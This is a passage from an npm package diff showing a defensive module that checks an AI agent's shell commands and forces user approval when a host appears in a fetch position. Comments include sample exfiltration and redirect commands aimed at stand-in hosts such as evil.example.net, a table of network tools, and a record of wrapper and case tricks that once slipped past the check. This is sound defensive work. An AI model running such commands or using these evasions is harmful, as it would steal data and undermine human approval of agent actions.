@gaunt-sloth/core 2.0.0-alpha.24 → 2.0.0-alpha.26
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -1
- package/dist/config/colour.d.ts +38 -0
- package/dist/config/colour.js +36 -0
- package/dist/config/colour.js.map +1 -0
- package/dist/config/defaults.d.ts +1 -0
- package/dist/config/defaults.js +1 -0
- package/dist/config/defaults.js.map +1 -1
- package/dist/config/loader.d.ts +13 -6
- package/dist/config/loader.js +171 -28
- package/dist/config/loader.js.map +1 -1
- package/dist/config/mouse.d.ts +50 -0
- package/dist/config/mouse.js +44 -0
- package/dist/config/mouse.js.map +1 -0
- package/dist/config/schema.d.ts +2372 -114
- package/dist/config/schema.js +845 -16
- package/dist/config/schema.js.map +1 -1
- package/dist/config/shell-policy.d.ts +466 -116
- package/dist/config/shell-policy.js +273 -62
- package/dist/config/shell-policy.js.map +1 -1
- package/dist/config/tool-descriptions.d.ts +165 -0
- package/dist/config/tool-descriptions.js +229 -0
- package/dist/config/tool-descriptions.js.map +1 -0
- package/dist/config/types.d.ts +36 -1
- package/dist/config/types.js.map +1 -1
- package/dist/config.d.ts +3 -0
- package/dist/config.js +3 -0
- package/dist/config.js.map +1 -1
- package/dist/core/GthAbstractAgent.d.ts +59 -1
- package/dist/core/GthAbstractAgent.js +72 -0
- package/dist/core/GthAbstractAgent.js.map +1 -1
- package/dist/core/GthAgentRunner.d.ts +341 -58
- package/dist/core/GthAgentRunner.js +817 -149
- package/dist/core/GthAgentRunner.js.map +1 -1
- package/dist/core/GthLangChainAgent.d.ts +16 -0
- package/dist/core/GthLangChainAgent.js +72 -2
- package/dist/core/GthLangChainAgent.js.map +1 -1
- package/dist/core/approvals/annotations.d.ts +122 -0
- package/dist/core/approvals/annotations.js +137 -0
- package/dist/core/approvals/annotations.js.map +1 -0
- package/dist/core/approvals/grants.d.ts +216 -0
- package/dist/core/approvals/grants.js +469 -0
- package/dist/core/approvals/grants.js.map +1 -0
- package/dist/core/approvals/matcher.d.ts +202 -0
- package/dist/core/approvals/matcher.js +267 -0
- package/dist/core/approvals/matcher.js.map +1 -0
- package/dist/core/approvals/mcpSubjects.d.ts +40 -0
- package/dist/core/approvals/mcpSubjects.js +99 -0
- package/dist/core/approvals/mcpSubjects.js.map +1 -0
- package/dist/core/approvals/toolAnnotationSources.d.ts +105 -0
- package/dist/core/approvals/toolAnnotationSources.js +277 -0
- package/dist/core/approvals/toolAnnotationSources.js.map +1 -0
- package/dist/core/approvals/toolHost.d.ts +46 -0
- package/dist/core/approvals/toolHost.js +108 -0
- package/dist/core/approvals/toolHost.js.map +1 -0
- package/dist/core/launchBanner.d.ts +120 -0
- package/dist/core/launchBanner.js +399 -0
- package/dist/core/launchBanner.js.map +1 -0
- package/dist/core/plainToolIndication.js +13 -7
- package/dist/core/plainToolIndication.js.map +1 -1
- package/dist/core/shell/approvalStop.d.ts +75 -0
- package/dist/core/shell/approvalStop.js +108 -0
- package/dist/core/shell/approvalStop.js.map +1 -0
- package/dist/core/shell/arity.d.ts +6 -0
- package/dist/core/shell/arity.js +20 -6
- package/dist/core/shell/arity.js.map +1 -1
- package/dist/core/shell/denylist.d.ts +11 -0
- package/dist/core/shell/denylist.js +37 -0
- package/dist/core/shell/denylist.js.map +1 -0
- package/dist/core/shell/normalize.d.ts +41 -1
- package/dist/core/shell/normalize.js +58 -4
- package/dist/core/shell/normalize.js.map +1 -1
- package/dist/core/shell/openWorld.d.ts +138 -0
- package/dist/core/shell/openWorld.js +523 -0
- package/dist/core/shell/openWorld.js.map +1 -0
- package/dist/core/shell/rater.d.ts +560 -0
- package/dist/core/shell/rater.js +895 -0
- package/dist/core/shell/rater.js.map +1 -0
- package/dist/core/shell/raterModel.d.ts +41 -0
- package/dist/core/shell/raterModel.js +51 -0
- package/dist/core/shell/raterModel.js.map +1 -0
- package/dist/core/shell/rejection.d.ts +66 -0
- package/dist/core/shell/rejection.js +38 -0
- package/dist/core/shell/rejection.js.map +1 -0
- package/dist/core/types.d.ts +71 -9
- package/dist/core/types.js.map +1 -1
- package/dist/runtime/askStructured.d.ts +8 -7
- package/dist/runtime/askStructured.js +8 -7
- package/dist/runtime/askStructured.js.map +1 -1
- package/dist/runtime/conversation.js +89 -76
- package/dist/runtime/conversation.js.map +1 -1
- package/dist/runtime/singleShot.js +71 -60
- package/dist/runtime/singleShot.js.map +1 -1
- package/dist/utils/ProgressIndicator.d.ts +21 -0
- package/dist/utils/ProgressIndicator.js +30 -3
- package/dist/utils/ProgressIndicator.js.map +1 -1
- package/dist/utils/consoleUtils.d.ts +30 -0
- package/dist/utils/consoleUtils.js +27 -2
- package/dist/utils/consoleUtils.js.map +1 -1
- package/dist/utils/systemUtils.d.ts +17 -0
- package/dist/utils/systemUtils.js +17 -0
- package/dist/utils/systemUtils.js.map +1 -1
- package/package.json +5 -2
- package/schema/gsloth-config.schema.json +1216 -417
- package/dist/core/shell/allowlist.d.ts +0 -75
- package/dist/core/shell/allowlist.js +0 -187
- package/dist/core/shell/allowlist.js.map +0 -1
- package/dist/core/shell/judge.d.ts +0 -161
- package/dist/core/shell/judge.js +0 -261
- package/dist/core/shell/judge.js.map +0 -1
|
@@ -0,0 +1,523 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* @module core/shell/openWorld
|
|
3
|
+
*
|
|
4
|
+
* EXT-61 (spec §4.6) — the **open-world preflight**: a deterministic, model-free check for a
|
|
5
|
+
* **host literal in a fetch/transfer position**. A command that carries one is floored at
|
|
6
|
+
* `destructive` before the rater is ever called ({@link import('./rater.js').mapVerdictToAction}),
|
|
7
|
+
* so it is always asked about and can never be auto-approved.
|
|
8
|
+
*
|
|
9
|
+
* ## Why this is not a trust judgement, and must never become one
|
|
10
|
+
*
|
|
11
|
+
* §4.1.1(4) asks the rater to tell `registry.npmjs.org` from `registry.npmjs.ag`. **Both a cheap
|
|
12
|
+
* model and a working developer were measured failing exactly that** — the developer flagged the
|
|
13
|
+
* *genuine* registry as destructive, i.e. did not discriminate hostnames in either direction. This
|
|
14
|
+
* preflight does not answer that question, it **deletes** it: both hostnames floor, both are asked
|
|
15
|
+
* about, and no misreading of a hostname can produce an auto-approve.
|
|
16
|
+
*
|
|
17
|
+
* It therefore needs **no list of good hosts**, and that is precisely what makes it immune to the
|
|
18
|
+
* attack it defends against — there is nothing to spoof into. If host trust is ever wanted it MUST
|
|
19
|
+
* be a deterministic exact-match list in code (§4.1.1), never a model call. The user-facing escape
|
|
20
|
+
* hatch already exists and is `approvals.allow` (§3), which is consulted *before* the rater and
|
|
21
|
+
* therefore before this.
|
|
22
|
+
*
|
|
23
|
+
* ## THE ERROR COST IS INVERTED RELATIVE TO THE §8 HARDLINE — read this before editing
|
|
24
|
+
*
|
|
25
|
+
* The hardline **refuses**, unappealably, under every rung including `bypass`, so a false positive
|
|
26
|
+
* there is unrecoverable and EXT-60 correctly narrowed its patterns until they were gone, accepting
|
|
27
|
+
* misses. **This preflight only RAISES.** It floors at `destructive`, which means the user is
|
|
28
|
+
* *asked*. So:
|
|
29
|
+
*
|
|
30
|
+
* - a **false positive costs one prompt** — annoying, recoverable, visible;
|
|
31
|
+
* - an **evasion costs the whole point of the node**, because the rater then decides alone on a host
|
|
32
|
+
* literal, which is the discrimination both a cheap model and a working developer were measured
|
|
33
|
+
* failing.
|
|
34
|
+
*
|
|
35
|
+
* **So this layer errs toward OVER-matching.** That is the opposite of the hardline's calculus, and
|
|
36
|
+
* it is why the shapes below prefer "any operand is a listed git subcommand" over enumerating git's
|
|
37
|
+
* arg-taking global flags: an enumeration closes today's hole and reopens it for the next flag added
|
|
38
|
+
* upstream. The one hard limit is unchanged and non-negotiable: **never fire on the mere presence of
|
|
39
|
+
* a URL anywhere in the string**, because `git commit -m "closes https://…"` must stay silent.
|
|
40
|
+
*
|
|
41
|
+
* ## The shape of the matcher
|
|
42
|
+
*
|
|
43
|
+
* Ported from the measured prototype (`project-takahe _spikes/open-world-preflight/`).
|
|
44
|
+
*
|
|
45
|
+
* 1. **Decline on anything unclassifiable.** {@link classifyCommand} returns `null` on any
|
|
46
|
+
* composition (separator, line break, `$(…)`, backtick, redirection), and the *ambiguity*
|
|
47
|
+
* preflight already floors those. So this matcher never has to parse a hard command — and it
|
|
48
|
+
* must not claim the finding, because "it names a host" would be a worse (and possibly false)
|
|
49
|
+
* explanation than "its target cannot be statically resolved".
|
|
50
|
+
* 2. **Step past wrappers** (`sudo -u root`, `env FOO=1`, `nohup --`, …) to the head.
|
|
51
|
+
* 3. **Look the head up** in {@link NETWORK_HEADS}, keyed by *where a host may legitimately appear*.
|
|
52
|
+
* 4. **Test only the candidate operands** for a host literal.
|
|
53
|
+
*
|
|
54
|
+
* **The head gate does nearly all of the work, and it is what keeps the false-positive rate at
|
|
55
|
+
* zero.** A URL under a head that cannot reach the network is not a fetch, so `echo`, `grep`, `sed`
|
|
56
|
+
* and — the case that would have sunk this design — `git commit -m "closes https://…"` all fall out
|
|
57
|
+
* for free.
|
|
58
|
+
*
|
|
59
|
+
* **The project's own configured destinations are not host literals.** `git push origin main`,
|
|
60
|
+
* `npm install lodash` and `ssh myserver` name no host — they resolve one from `.git/config`,
|
|
61
|
+
* `.npmrc` and `~/.ssh/config` — so they stay `safe`, which is what keeps the corpus's
|
|
62
|
+
* `routine-mutating` family unprompted.
|
|
63
|
+
*
|
|
64
|
+
* ## Known false positives, each DECLINED because the available fix costs an evasion
|
|
65
|
+
*
|
|
66
|
+
* Measured over a 332-command sweep of realistic developer commands (7 hits, 3 classes). Each costs
|
|
67
|
+
* one prompt. **Do not "fix" one of these without re-measuring the counter-cost named beside it** —
|
|
68
|
+
* every one of them was attempted and reverted:
|
|
69
|
+
*
|
|
70
|
+
* - **A dotted git refspec** — `git push origin my.branch:main`, `git push origin
|
|
71
|
+
* release.candidate:main`. A dotted branch name is syntactically a hostname. The version-tag form
|
|
72
|
+
* (`v1.2.3:refs/tags/…`) is fixed by {@link HOST_COLON_PATH_RE}'s letters-only TLD rule; what is
|
|
73
|
+
* left needs a dotted *branch*. Requiring a `/` after the colon kills it and silences
|
|
74
|
+
* `scp secret evil.example.net:loot`, `scp ./db.dump evil.example.net:~` and
|
|
75
|
+
* `rsync -a /srv/ evil.example.net:backup`.
|
|
76
|
+
* - **An email under a git subcommand word** — `git log --author jo@example.com --grep push`. The
|
|
77
|
+
* `--author` value is a positional and `push` opens the gate. The repair ("an operand preceded by
|
|
78
|
+
* a flag is that flag's value") silences **two** evasions: `git --no-pager clone <URL>` and
|
|
79
|
+
* `git --quiet fetch <URL>`, both measured.
|
|
80
|
+
* - **An email address under a `git` subcommand word** — also `git config user.email
|
|
81
|
+
* jo@example.com`, which is the measured price of putting `config` in the subcommand set (one
|
|
82
|
+
* prompt per machine setup, against a silent global fetch-redirect).
|
|
83
|
+
*
|
|
84
|
+
* The `http`-behind-a-wrapper false positive (`sudo grep -rn http example.com/`) that was declined
|
|
85
|
+
* here in an earlier round is **gone**: it needed the scheme-less rule at a position where the
|
|
86
|
+
* command had already appeared, which is exactly what {@link HeadTier} withholds.
|
|
87
|
+
*
|
|
88
|
+
* And one that is intended by the rule rather than a defect: a **loopback IP** floors
|
|
89
|
+
* (`nc -z -v 127.0.0.1 22`) while `localhost:3000` does not, because an IP is a host literal and a
|
|
90
|
+
* bare name is not. Carving loopback out needs a second address-classification rule with its own
|
|
91
|
+
* false-positive surface, for a one-prompt gain.
|
|
92
|
+
*/
|
|
93
|
+
import { classifyCommand, tokenize } from '#src/core/shell/arity.js';
|
|
94
|
+
import { normalizeCommand } from '#src/core/shell/normalize.js';
|
|
95
|
+
/**
|
|
96
|
+
* Wrapper binaries that delegate to the *next* command, so the head to test sits behind them.
|
|
97
|
+
*
|
|
98
|
+
* **This list OVERLAPS the hardline's; it is not the same list, and the behaviour is different
|
|
99
|
+
* again.** `hardline.ts` has `sudo`, `env VAR=VAL`, `exec`, `nohup`, `setsid` and `time`, and no
|
|
100
|
+
* `doas` at all (`grep -c doas` → 0); its prefix fragment `(?:sudo\s+(?:-[^\s]+\s+)*)?` consumes
|
|
101
|
+
* sudo's flags but not a flag's *operand*, which is right for a refusal layer where over-consuming
|
|
102
|
+
* would refuse more.
|
|
103
|
+
*
|
|
104
|
+
* Here the cost runs the other way (see the module docblock), so wrapper handling does **not** try to
|
|
105
|
+
* find "the" head at all — it treats every position after a wrapper as a possible head and unions
|
|
106
|
+
* the results ({@link headCandidates}). Two earlier revisions of this comment claimed a parity that
|
|
107
|
+
* did not hold, and each time a real evasion hid behind the claim: first `sudo -u root curl https://…`
|
|
108
|
+
* (the loop stopped at the flag), then `sudo -u git curl https://…` (the scan latched onto the
|
|
109
|
+
* USERNAME `git`, which is a head name, and inherited its subcommand rule). **A comment asserting a
|
|
110
|
+
* property this code does not have is how both of those became inheritable**, so this one states the
|
|
111
|
+
* mechanism instead of a comparison.
|
|
112
|
+
*/
|
|
113
|
+
const WRAPPERS = new Set([
|
|
114
|
+
'sudo',
|
|
115
|
+
'doas',
|
|
116
|
+
'exec',
|
|
117
|
+
'nohup',
|
|
118
|
+
'setsid',
|
|
119
|
+
'time',
|
|
120
|
+
'env',
|
|
121
|
+
]);
|
|
122
|
+
/**
|
|
123
|
+
* Package-manager subcommands whose `--` hands the rest of the argv to a SCRIPT rather than to the
|
|
124
|
+
* package manager. Deliberately just these two: for every other subcommand `--` is an ordinary
|
|
125
|
+
* end-of-options marker and the operands after it are still the package manager's own.
|
|
126
|
+
*/
|
|
127
|
+
const RUN_SUBCOMMANDS = new Set(['run', 'run-script']);
|
|
128
|
+
/** A leading `VAR=value` assignment, which precedes the real head exactly like a wrapper does. */
|
|
129
|
+
const ENV_ASSIGNMENT_RE = /^[A-Za-z_][A-Za-z0-9_]*=/;
|
|
130
|
+
/**
|
|
131
|
+
* The network-capable heads, and where a host may appear under each.
|
|
132
|
+
*
|
|
133
|
+
* **This table is INCOMPLETE BY CONSTRUCTION and that is a design decision, not an oversight** —
|
|
134
|
+
* `svn`, `hg`, `mvn`, `gradle`, `kubectl`, `docker`, `gh`, `deno`, `go`, `cargo`, `helm`, `brew` and
|
|
135
|
+
* `terraform` all reach the network and are deliberately absent. Adding one is cheap and safe (a
|
|
136
|
+
* miss becomes a prompt); what is *not* safe is widening a head's `HostPosition` so that an ordinary
|
|
137
|
+
* LOCAL operand starts reading as a fetch target — that is the one edit that can put a filename in
|
|
138
|
+
* front of the user as a "host". Weigh any addition against the must-NOT-fire probes in
|
|
139
|
+
* `spec/shellOpenWorld.spec.ts`, not against the corpus — the corpus has almost no coverage of that
|
|
140
|
+
* direction (see that spec's docblock).
|
|
141
|
+
*
|
|
142
|
+
* A `Map`, not an object literal, on purpose: the head comes from an attacker-influenceable command
|
|
143
|
+
* string, and `NET['constructor']` on a plain object resolves through the prototype chain to
|
|
144
|
+
* something that is not an entry of this table. The same hazard is documented at
|
|
145
|
+
* {@link import('./rater.js').isBelowDestructiveFloor}.
|
|
146
|
+
*/
|
|
147
|
+
const NETWORK_HEADS = new Map([
|
|
148
|
+
// Fetchers / transfer agents whose operands are ENDPOINTS, not local files: a scheme-less
|
|
149
|
+
// `example.com/install.sh` is a fetch here and nothing else.
|
|
150
|
+
['curl', { kind: 'all', bareHost: true }],
|
|
151
|
+
['wget', { kind: 'all', bareHost: true }],
|
|
152
|
+
['aria2c', { kind: 'all', bareHost: true }],
|
|
153
|
+
['http', { kind: 'all', bareHost: true }], // httpie
|
|
154
|
+
['httpie', { kind: 'all', bareHost: true }],
|
|
155
|
+
['xh', { kind: 'all', bareHost: true }],
|
|
156
|
+
['nc', { kind: 'all', bareHost: true }],
|
|
157
|
+
['ncat', { kind: 'all', bareHost: true }],
|
|
158
|
+
['netcat', { kind: 'all', bareHost: true }],
|
|
159
|
+
['telnet', { kind: 'all', bareHost: true }],
|
|
160
|
+
['ssh', { kind: 'all', bareHost: true }],
|
|
161
|
+
['sftp', { kind: 'all', bareHost: true }],
|
|
162
|
+
['ftp', { kind: 'all', bareHost: true }],
|
|
163
|
+
// Transfer agents that take LOCAL paths beside remote ones — no bare-host rule, or `./my.dir/x`
|
|
164
|
+
// would be offered to the user as a hostname.
|
|
165
|
+
['scp', { kind: 'all' }],
|
|
166
|
+
['rsync', { kind: 'all' }],
|
|
167
|
+
// Cloud CLIs — a bucket/object URI is a host literal (`s3://…`, `gs://…`).
|
|
168
|
+
['aws', { kind: 'all' }],
|
|
169
|
+
['gsutil', { kind: 'all' }],
|
|
170
|
+
['az', { kind: 'all' }],
|
|
171
|
+
// `git` only where a URL stands in for a configured remote. `git commit -m "…https://…"` and
|
|
172
|
+
// `git tag -a v1 -m "see https://…"` are NOT fetches, and prompting on them would be a worse
|
|
173
|
+
// annoyance regression than the one this preflight was built to avoid.
|
|
174
|
+
//
|
|
175
|
+
// **`config` is in this set deliberately, and it widens the design — do not "simplify" it out.**
|
|
176
|
+
// The rest of this module rests on *a URL under a head that cannot reach the network is not a
|
|
177
|
+
// fetch*, which is true of `git commit -m`, where the URL is prose. A config write is not prose:
|
|
178
|
+
// it is a STORED FETCH TARGET, which is the same thing `--registry` is, and
|
|
179
|
+
// `npm config set registry https://…` has always floored here. Without it git contradicted
|
|
180
|
+
// itself — `git remote set-url origin <URL>` floored while `git config remote.origin.url <URL>`,
|
|
181
|
+
// the identical write to the identical file, was auto-approved — and, worse,
|
|
182
|
+
// `git config --global url.https://evil/.insteadOf https://github.com/` silently redirected EVERY
|
|
183
|
+
// FUTURE GITHUB FETCH ON THE MACHINE, persistently, which is strictly worse than the one-shot
|
|
184
|
+
// fetch that did floor. Measured price: two false positives, both `git config user.email
|
|
185
|
+
// <address>`, i.e. one prompt per machine setup. `git config user.name`, `--list`, `--get`,
|
|
186
|
+
// `--unset`, `core.editor` and `alias.*` carry no host literal and stay silent.
|
|
187
|
+
[
|
|
188
|
+
'git',
|
|
189
|
+
{
|
|
190
|
+
kind: 'subcommand',
|
|
191
|
+
subcommands: new Set([
|
|
192
|
+
'clone',
|
|
193
|
+
'push',
|
|
194
|
+
'pull',
|
|
195
|
+
'fetch',
|
|
196
|
+
'remote',
|
|
197
|
+
'submodule',
|
|
198
|
+
'ls-remote',
|
|
199
|
+
'archive',
|
|
200
|
+
'config',
|
|
201
|
+
]),
|
|
202
|
+
},
|
|
203
|
+
],
|
|
204
|
+
// Package managers. The configured default registry in `.npmrc` is not a host literal, so
|
|
205
|
+
// `npm install lodash` stays unprompted — but an `--registry`/`--index-url` override is, and so is
|
|
206
|
+
// a URL in the install-target position (`npm install https://…/pkg.tgz` fetches remote code and
|
|
207
|
+
// then runs its lifecycle scripts).
|
|
208
|
+
['npm', { kind: 'flag', flags: new Set(['--registry']) }],
|
|
209
|
+
['pnpm', { kind: 'flag', flags: new Set(['--registry']) }],
|
|
210
|
+
['yarn', { kind: 'flag', flags: new Set(['--registry']) }],
|
|
211
|
+
['npx', { kind: 'flag', flags: new Set(['--registry']) }],
|
|
212
|
+
['pip', { kind: 'flag', flags: new Set(['--index-url', '--extra-index-url', '-i']) }],
|
|
213
|
+
['pip3', { kind: 'flag', flags: new Set(['--index-url', '--extra-index-url', '-i']) }],
|
|
214
|
+
]);
|
|
215
|
+
/** `scheme://…` — `https`, `http`, `ftp`, `s3`, `gs`, `git+ssh`, anything. */
|
|
216
|
+
const SCHEME_RE = /^[a-z][a-z0-9+.-]*:\/\//i;
|
|
217
|
+
/** `user@host` (`deploy@myhost:/srv/`, `git@github.com:owner/repo.git`). */
|
|
218
|
+
const USER_AT_HOST_RE = /^[^@\s/]+@[a-z0-9._-]+(:|$)/i;
|
|
219
|
+
/**
|
|
220
|
+
* A bare IPv4 target, with or without a port or path — but **not** a CIDR mask.
|
|
221
|
+
*
|
|
222
|
+
* `192.168.1.0/24` is a network range, not a counterparty, and it appears in ordinary firewall work
|
|
223
|
+
* (`ufw allow ssh from 192.168.1.0/24`, `iptables … -s 203.0.113.0/24`) where a head name also sits
|
|
224
|
+
* in an argument position. `203.0.113.9/payload` is a fetch and still matches; the exclusion is only
|
|
225
|
+
* a trailing `/` plus one or two digits and nothing else, which no fetch path realistically is.
|
|
226
|
+
*/
|
|
227
|
+
const IPV4_RE = /^(\d{1,3}\.){3}\d{1,3}(:|\/(?!\d{1,2}$)|$)/;
|
|
228
|
+
/**
|
|
229
|
+
* A bracketed IPv6 target — `[2001:db8::1]`, `[::1]:8080/x`. The scheme form already matched via
|
|
230
|
+
* {@link SCHEME_RE}; this is the bare one. A bracketed operand is otherwise unheard of in a shell
|
|
231
|
+
* command, so the false-positive cost is nil.
|
|
232
|
+
*/
|
|
233
|
+
const IPV6_RE = /^\[[0-9a-f:.]+\](:\d+)?(\/|$)/i;
|
|
234
|
+
/**
|
|
235
|
+
* scp/rsync `host.tld:path` with no scheme. The `(?!\/\/)` keeps it from re-matching a scheme.
|
|
236
|
+
*
|
|
237
|
+
* The final label must be **letters, two or more** — a real TLD never is anything else (RFC 3696;
|
|
238
|
+
* an all-numeric final label is an address, and {@link IPV4_RE} owns that). Without that clause the
|
|
239
|
+
* pattern read a dotted **git refspec** as a host: `git push origin v1.2.3:refs/tags/v1.2.3` floored,
|
|
240
|
+
* which is routine release work and exactly the annoyance regression §4.6 is built to avoid.
|
|
241
|
+
*/
|
|
242
|
+
const HOST_COLON_PATH_RE = /^[a-z0-9-]+(\.[a-z0-9-]+)*\.[a-z]{2,}:(?!\/\/)/i;
|
|
243
|
+
/**
|
|
244
|
+
* A scheme-less dotted host **followed by a path or a port** — `example.com/install.sh`,
|
|
245
|
+
* `evil.example.net:8080/x`. Only offered to heads marked `bareHost`.
|
|
246
|
+
*
|
|
247
|
+
* The trailing `\/` or `:port` is what separates a hostname from a filename, and it is required for
|
|
248
|
+
* exactly that reason: `file.tar.gz`, `urls.txt`, `package.json` and `batch.txt` are all
|
|
249
|
+
* `label.label` with a letters-only final label, and admitting them would put a FILENAME in front of
|
|
250
|
+
* the user as the counterparty — which defeats §4.6.1, whose entire premise is that the sentence
|
|
251
|
+
* naming the host is the deliverable.
|
|
252
|
+
*
|
|
253
|
+
* The consequence, deliberate and documented: `ssh prod.example.com uptime` and
|
|
254
|
+
* `nc evil.example.net 4444` are **misses**, because neither has a path or a port attached. A miss
|
|
255
|
+
* costs a rating, which is what happened before this node existed.
|
|
256
|
+
*/
|
|
257
|
+
const BARE_HOST_RE = /^[a-z0-9-]+(\.[a-z0-9-]+)*\.[a-z]{2,}(:\d+)?\//i;
|
|
258
|
+
/**
|
|
259
|
+
* Does this operand name a host — a URL scheme, a `user@host`, an IPv4 literal, or an scp-style
|
|
260
|
+
* `host:path`? Deliberately syntactic: it asks *"is a counterparty named here"*, never *"is that
|
|
261
|
+
* counterparty trustworthy"* (§4.1.1).
|
|
262
|
+
*/
|
|
263
|
+
export function isHostLiteral(operand) {
|
|
264
|
+
return (SCHEME_RE.test(operand) ||
|
|
265
|
+
USER_AT_HOST_RE.test(operand) ||
|
|
266
|
+
IPV4_RE.test(operand) ||
|
|
267
|
+
IPV6_RE.test(operand) ||
|
|
268
|
+
HOST_COLON_PATH_RE.test(operand));
|
|
269
|
+
}
|
|
270
|
+
/**
|
|
271
|
+
* {@link isHostLiteral}, plus the scheme-less `host.tld/path` form. Applied only to operands of a
|
|
272
|
+
* head marked `bareHost` — see {@link BARE_HOST_RE} for why it is not applied everywhere.
|
|
273
|
+
*/
|
|
274
|
+
function isHostLiteralOrBareHost(operand) {
|
|
275
|
+
return isHostLiteral(operand) || BARE_HOST_RE.test(operand);
|
|
276
|
+
}
|
|
277
|
+
/**
|
|
278
|
+
* Reduce an argv[0] to the bare binary name: drop any path prefix, case-fold, drop a `.exe`.
|
|
279
|
+
*
|
|
280
|
+
* **The case fold is a real evasion fix, found by RUNNING the prototype rather than reading it.**
|
|
281
|
+
* `cUrL https://…` passed the first version, because {@link normalizeCommand} deliberately
|
|
282
|
+
* preserves case. That is irrelevant on Linux — but on **Windows and case-insensitive macOS
|
|
283
|
+
* volumes that command resolves and runs**, and gaunt-sloth ships on both. A local Linux test run
|
|
284
|
+
* cannot prove this cell; the CI matrix is what does.
|
|
285
|
+
*/
|
|
286
|
+
function bareHead(token) {
|
|
287
|
+
const lastSegment = token.split(/[\\/]/).pop() ?? '';
|
|
288
|
+
return lastSegment.toLowerCase().replace(/\.exe$/, '');
|
|
289
|
+
}
|
|
290
|
+
/**
|
|
291
|
+
* A token that is a URL rather than a program: `https://example.com/curl`'s last path segment is
|
|
292
|
+
* `curl`, and without this it would resolve to the head `curl` at whatever position it sits in.
|
|
293
|
+
*/
|
|
294
|
+
const URL_SHAPED_RE = /:\/\//;
|
|
295
|
+
/**
|
|
296
|
+
* Every position in argv that may be the network head, each with its own {@link HostPosition} and
|
|
297
|
+
* {@link HeadTier}.
|
|
298
|
+
*
|
|
299
|
+
* ## Why every position, and why no list of wrapper names
|
|
300
|
+
*
|
|
301
|
+
* This is the fourth shape of this function, and the previous three each died to the same failure:
|
|
302
|
+
* **naming the things that may precede a command.** The wrapper loop stopped at the first flag
|
|
303
|
+
* (`sudo -u root curl …` evaded); scanning to the *first* head re-anchored onto a decoy
|
|
304
|
+
* (`sudo -u git curl …` evaded, because `git` is a real system user); and gating the scan on a
|
|
305
|
+
* `WRAPPERS` membership test left `timeout 30 curl …` evading while `time curl …` floored — the
|
|
306
|
+
* near-homograph of a name that *was* in the list. Twelve more names (`nice`, `stdbuf`,
|
|
307
|
+
* `proxychains`, `torsocks`, `runuser`, `busybox`, `flock`, …) would have closed today's twelve and
|
|
308
|
+
* reopened on the thirteenth tool anyone writes.
|
|
309
|
+
*
|
|
310
|
+
* So there is no membership test in the loop below. **Every token is a candidate head**, and the
|
|
311
|
+
* question a name would have answered — *is this token the command, or an argument to one?* — is
|
|
312
|
+
* answered by TIER instead of by exclusion, so being wrong about it costs precision rather than the
|
|
313
|
+
* whole match.
|
|
314
|
+
*
|
|
315
|
+
* ## How the tier is decided
|
|
316
|
+
*
|
|
317
|
+
* `full` applies while nothing but flags, flag values, wrappers and `VAR=value` assignments has been
|
|
318
|
+
* passed — i.e. **while the command itself has not yet appeared**. The moment a token appears that is
|
|
319
|
+
* none of those (`cp` in `sudo -u root cp /usr/bin/curl backup.dir/`), that token is the command, every
|
|
320
|
+
* later head-shaped token is one of its arguments, and the tier drops to `restricted` for the rest of
|
|
321
|
+
* the argv. A flag's *value* keeps `full` alive — that is what makes `sudo -u root curl …` and
|
|
322
|
+
* `sudo -u git curl …` behave identically — without needing to know which flags take one.
|
|
323
|
+
*
|
|
324
|
+
* **`WRAPPERS` is consulted by the tier predicate and nowhere else**, which is the whole of what is
|
|
325
|
+
* left of it. There used to be a loop here that advanced an index past leading wrappers and
|
|
326
|
+
* `VAR=value` assignments; once the tier predicate existed that loop was **provably dead** — deleting
|
|
327
|
+
* it entirely changed no test and no behaviour, because the predicate already lets a wrapper keep the
|
|
328
|
+
* `full` tier alive at the position the loop would have landed on. It is gone rather than kept as an
|
|
329
|
+
* unkillable branch. Emptying `WRAPPERS`, by contrast, turns 20 tests red: a name missing from it now
|
|
330
|
+
* costs *precision* (a scheme-less target behind that wrapper goes unseen) rather than the whole
|
|
331
|
+
* command, which is exactly the demotion that makes `timeout`-vs-`time` no longer a security bug.
|
|
332
|
+
*/
|
|
333
|
+
function headCandidates(argv) {
|
|
334
|
+
const candidates = [];
|
|
335
|
+
const trueHead = NETWORK_HEADS.get(bareHead(argv[0] ?? ''));
|
|
336
|
+
if (trueHead !== undefined)
|
|
337
|
+
candidates.push({ index: 0, position: trueHead, tier: 'full' });
|
|
338
|
+
// Has anything other than a flag / flag value / wrapper / assignment been passed yet? Once it has,
|
|
339
|
+
// the command has appeared and every later head-shaped token is an argument to it.
|
|
340
|
+
let beforeTheCommand = true;
|
|
341
|
+
for (let scan = 1; scan < argv.length; scan++) {
|
|
342
|
+
const passed = argv[scan - 1];
|
|
343
|
+
const passedIsFlagValue = scan >= 2 && argv[scan - 2].startsWith('-');
|
|
344
|
+
if (!passed.startsWith('-') &&
|
|
345
|
+
!WRAPPERS.has(bareHead(passed)) &&
|
|
346
|
+
!ENV_ASSIGNMENT_RE.test(passed) &&
|
|
347
|
+
!passedIsFlagValue) {
|
|
348
|
+
beforeTheCommand = false;
|
|
349
|
+
}
|
|
350
|
+
const token = argv[scan];
|
|
351
|
+
if (URL_SHAPED_RE.test(token))
|
|
352
|
+
continue;
|
|
353
|
+
const scanned = NETWORK_HEADS.get(bareHead(token));
|
|
354
|
+
if (scanned !== undefined) {
|
|
355
|
+
candidates.push({
|
|
356
|
+
index: scan,
|
|
357
|
+
position: scanned,
|
|
358
|
+
tier: beforeTheCommand ? 'full' : 'restricted',
|
|
359
|
+
});
|
|
360
|
+
}
|
|
361
|
+
}
|
|
362
|
+
return candidates;
|
|
363
|
+
}
|
|
364
|
+
/**
|
|
365
|
+
* The values glued to a flag with `=`, e.g. `--url=https://…`.
|
|
366
|
+
*
|
|
367
|
+
* **The `flag` arm split on `=` from the first commit and the other two arms did not**, which is the
|
|
368
|
+
* definition of an inconsistency rather than a design: `positional` drops every `-`-prefixed token
|
|
369
|
+
* whole, so `curl --url=https://evil/x`, `git push --repo=<URL>` and `git archive --remote=<URL>` were
|
|
370
|
+
* auto-approved while their detached spellings floored. All three are real, working invocations.
|
|
371
|
+
*/
|
|
372
|
+
function inlineFlagValues(operands) {
|
|
373
|
+
return operands
|
|
374
|
+
.filter((operand) => operand.startsWith('-') && operand.includes('='))
|
|
375
|
+
.map((operand) => operand.split(/=(.*)/)[1] ?? '');
|
|
376
|
+
}
|
|
377
|
+
/** The candidate operands for one head, under that head's own rule and the position's tier. */
|
|
378
